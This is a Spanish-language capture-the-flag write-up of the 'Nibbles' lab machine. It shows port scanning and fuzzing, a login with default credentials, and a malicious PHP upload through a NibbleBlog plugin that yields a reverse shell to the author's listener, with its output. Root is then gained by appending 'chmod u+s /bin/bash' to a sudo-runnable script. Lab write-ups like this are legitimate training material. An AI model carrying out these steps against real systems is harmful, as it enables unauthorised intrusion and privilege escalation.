Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.75 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Procedemos a hechar un vistazo visual del puerto 80 o servicio HTTP
"Encontramos esta ruta en el codigo fuente /nibbleblog/"
Hacemos un pequeño fuzzing con la herramientaWfuzz
:
# wfuzz -c -L --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.75/nibbleblog/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.75/nibbleblog/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000062: 200 18 L 82 W 1353 Ch "content"
000000114: 200 20 L 104 W 1741 Ch "themes"
000000246: 200 22 L 126 W 2127 Ch "admin"
000000506: 200 30 L 214 W 3777 Ch "plugins"
000000884: 200 63 L 643 W 4624 Ch "README"
000000922: 200 27 L 181 W 3167 Ch "languages"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing
Chequeamos el Wapalizzer
y nos reporta que esta construida en lenguaje PHP
vamos a hechar un vistazo a las rutas encontradas:
En la ruta /admin.php
encontramos un panel loguin.
En las demas rutas encontramos los recursos de la pagina web.
Nos montamos un pequeño diccionario para intentar advinar las credenciales por defecto:
admin
Administrator
root
{Nombre de la Box}
password
Password
Pass
Probamos con las credenciales que podrian ser contraseñas por defecto y obtenemos un resultado correcto para admin:nibbles
.
Una vez dentro del panel del CMS NibbleBlog procedemos a apuntar a los plugins, mas concretamente al plugin de My_Images
Nos metemos en la opcion de Configuracion
de ahi vemos que podemos subir archivos.
Probamos a subir una archivo Malicioso en PHP
y vemos que efectivamente se sube correctamente. Ahora apuntando a nuestro archivo en PHP para que se interprete
y con una session de nc -vlnp 1234
abierta.. Recibimos la Conexion entrante.
Direccion de nuestro archivo "http://10.10.10.75/nibbleblog/content/private/plugins/my_image/"
Entramos como el usuario:
# nc -vlnp 1234
listening on [any] 1234 ...
connect to [10.10.15.4] from (UNKNOWN) [10.10.10.75] 48890
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
05:57:27 up 33 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
"nibbler"
Nos movemos al directorio /home/
y pillamos la Flag del User.txt
nibbler@Nibbles:/home/nibbler$ ls
personal.zip user.txt
Procedemos a ver los privilegios que tenemos con el comando sudo -l
nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
"User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh"
Vemos que tenemos una archivo llamado monitor.sh
el cual podemos ejecutar como root
sin proporcionar contraseña.
Procedemos a usar el comando unzip
para descomprimir el archivo encontrado personal.zip
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
"Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh"
Ya tenemos el archivo monitor.sh
vamos a ver si podemos modificarlo para luego poder ejecutarlo como root
:
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la monitor.sh
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
Vemos que si, asique porque no vamos a meterle un comando para escalar privilegios cuando Nosotros como root
ejecutemos el archivo encuestion.
Metemos este Comando chmod u+s /bin/bash
al final de monitor.sh
Procedemos a ejecutar el archivo como root:
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
Comprobamos si nos ha hecho el comando como root y si la /bin/bash
tiene ahora permisos SUID para hacer un bash -p
y convertirnos en root.
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16 2017 /bin/bash
Nos convertimos a root
:
nibbler@Nibbles:/home/nibbler/personal/stuff$ bash -p
bash-4.3# whoami
root
bash-4.3# cd /root/
bash-4.3# cat root.txt
5ad46c3fceb79f2a7407ceexxxxxxxxxxxxxx
Maquina Rooteada =) Seguimos Full Hacks